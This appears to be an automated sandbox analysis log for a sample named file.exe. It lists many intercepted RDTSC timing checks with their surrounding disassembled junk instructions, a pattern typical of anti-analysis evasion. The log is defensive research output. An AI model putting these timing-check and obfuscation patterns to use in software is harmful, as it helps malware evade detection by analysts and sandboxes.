Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721CE second address: E721FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6BC918D035h 0x0000000c jne 00007F6BC918D026h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F6BC918D026h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E703AF second address: E703B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E703B3 second address: E703BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6BC918D026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E703BF second address: E703C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E706ED second address: E706F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E706F3 second address: E706FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E712E0 second address: E712E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E712E4 second address: E712EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E712EF second address: E71307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F6BC918D02Ch 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71307 second address: E7130D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71896 second address: E7189D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7189D second address: E718A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E718A3 second address: E718A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E718A9 second address: E718C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6BC92F1686h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BC92F168Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B51 second address: E71B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D035h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B6D second address: E71B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B76 second address: E71B82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6BC918D026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B82 second address: E71B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B86 second address: E71B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B8A second address: E71B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71B96 second address: E71BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D035h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71BAF second address: E71BC9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6BC92F1686h 0x00000008 jo 00007F6BC92F1686h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71BC9 second address: E71BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71BD3 second address: E71BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b js 00007F6BC92F1686h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A4F5 second address: E7A4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A4FC second address: E7A50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F6BC92F1686h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A69D second address: E7A6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A6A1 second address: E7A6BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1693h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A83F second address: E7A843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A843 second address: E7A849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A849 second address: E7A85F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BC918D02Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A85F second address: E7A865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7AAF8 second address: E7AB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D02Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7AB0D second address: E7AB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7AB13 second address: E7AB44 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F6BC918D02Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F6BC918D02Fh 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84614 second address: E8461A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82863 second address: E82867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E829F9 second address: E829FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82C84 second address: E82C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82C8A second address: E82C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82C8E second address: E82C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82C92 second address: E82CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F6BC92F168Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83016 second address: E83020 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83020 second address: E83026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83026 second address: E83050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6BC918D033h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83050 second address: E83068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1690h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83068 second address: E83072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BC918D026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E831BC second address: E831C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E831C0 second address: E831C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83363 second address: E83367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83367 second address: E8336B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8336B second address: E83373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83653 second address: E8365D instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BC918D026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84477 second address: E844A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1690h 0x00000007 jmp 00007F6BC92F168Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E844A1 second address: E844B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F6BC918D02Eh 0x0000000b jne 00007F6BC918D026h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BCF0 second address: E8BCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BB9B second address: E8BB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97B95 second address: E97B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97B9B second address: E97BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97BA1 second address: E97BB4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BC92F168Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007F6BC92F1686h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9778F second address: E977A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jnc 00007F6BC918D026h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C376 second address: E9C37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC06 second address: E9EC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8FC9 second address: EA8FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD54B5 second address: DD54B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8E73 second address: EA8E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFAD3 second address: EAFAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007F6BC918D02Ch 0x0000000b jne 00007F6BC918D026h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1DDB second address: EB1E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1690h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6BC92F168Bh 0x0000000e jnl 00007F6BC92F1688h 0x00000014 push eax 0x00000015 jmp 00007F6BC92F1697h 0x0000001a pop eax 0x0000001b popad 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 js 00007F6BC92F1686h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1E27 second address: EB1E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2E75 second address: DC2E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1692h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2E8F second address: DC2E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7A1D second address: EB7A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jo 00007F6BC92F1686h 0x0000000e popad 0x0000000f pop edi 0x00000010 push ebx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC1AE second address: EBC1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC1B4 second address: EBC1E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6BC92F1696h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F6BC92F169Bh 0x00000011 jmp 00007F6BC92F168Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC1E7 second address: EBC1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC1EB second address: EBC1F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC32F second address: EBC33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6BC918D026h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC33E second address: EBC347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC347 second address: EBC378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BC918D02Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6BC918D038h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC378 second address: EBC388 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BC92F1686h 0x00000008 jng 00007F6BC92F1686h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC513 second address: EBC517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC517 second address: EBC528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnp 00007F6BC92F1686h 0x0000000d pop ebx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC68A second address: EBC69A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6BC918D026h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC69A second address: EBC6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F1691h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC6AF second address: EBC6E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D031h 0x00000007 jmp 00007F6BC918D036h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC6E2 second address: EBC722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F1696h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F6BC92F168Ah 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F6BC92F1697h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC722 second address: EBC728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC728 second address: EBC72C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD54B second address: EBD555 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BC918D026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD555 second address: EBD56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BC92F1694h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2154 second address: EC215A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC215A second address: EC215E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1D23 second address: EC1D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB32F second address: ECB333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB333 second address: ECB36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F6BC918D030h 0x0000000d jmp 00007F6BC918D02Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007F6BC918D02Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCF03 second address: EDCF07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCD79 second address: EDCD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEEF4 second address: EDEF14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1698h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5882 second address: EF589F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D034h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF589F second address: EF58A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58A3 second address: EF58EA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6BC918D026h 0x00000008 jmp 00007F6BC918D037h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6BC918D037h 0x00000017 jbe 00007F6BC918D02Ch 0x0000001d jno 00007F6BC918D026h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58EA second address: EF5907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1696h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4D41 second address: EF4D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
